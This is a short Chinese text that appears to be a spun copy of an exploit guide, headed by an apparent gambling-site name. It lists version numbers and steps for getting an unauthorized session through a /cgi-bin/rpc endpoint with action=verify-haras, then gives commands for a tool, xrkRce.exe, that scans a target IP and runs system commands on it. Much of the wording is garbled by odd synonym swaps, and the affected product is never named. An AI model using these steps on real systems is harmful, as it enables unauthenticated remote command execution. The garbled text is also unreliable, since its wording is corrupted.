mg不朽情缘

· 11.1.1

· 10.3.0.27372

· 11.0.0.33162

1、 接见扫描盛开的端口

2、 必要获取到session
，测试指标是否存在/cgi-bin/rpc界面

3、 在/cgi-bin/rpc 中
，传入action=verify-haras参数即可在未授权的情况下拿到有效session

4、 使用获取到的session执行系统号令

1、 运行号令得到缝隙端口：xrkRce.exe -h 192.168.16.128 -t scan

2、 执行系统号令：xrkRce.exe -h 192.168.16.128 -t rce -p 49156 -c "whoami"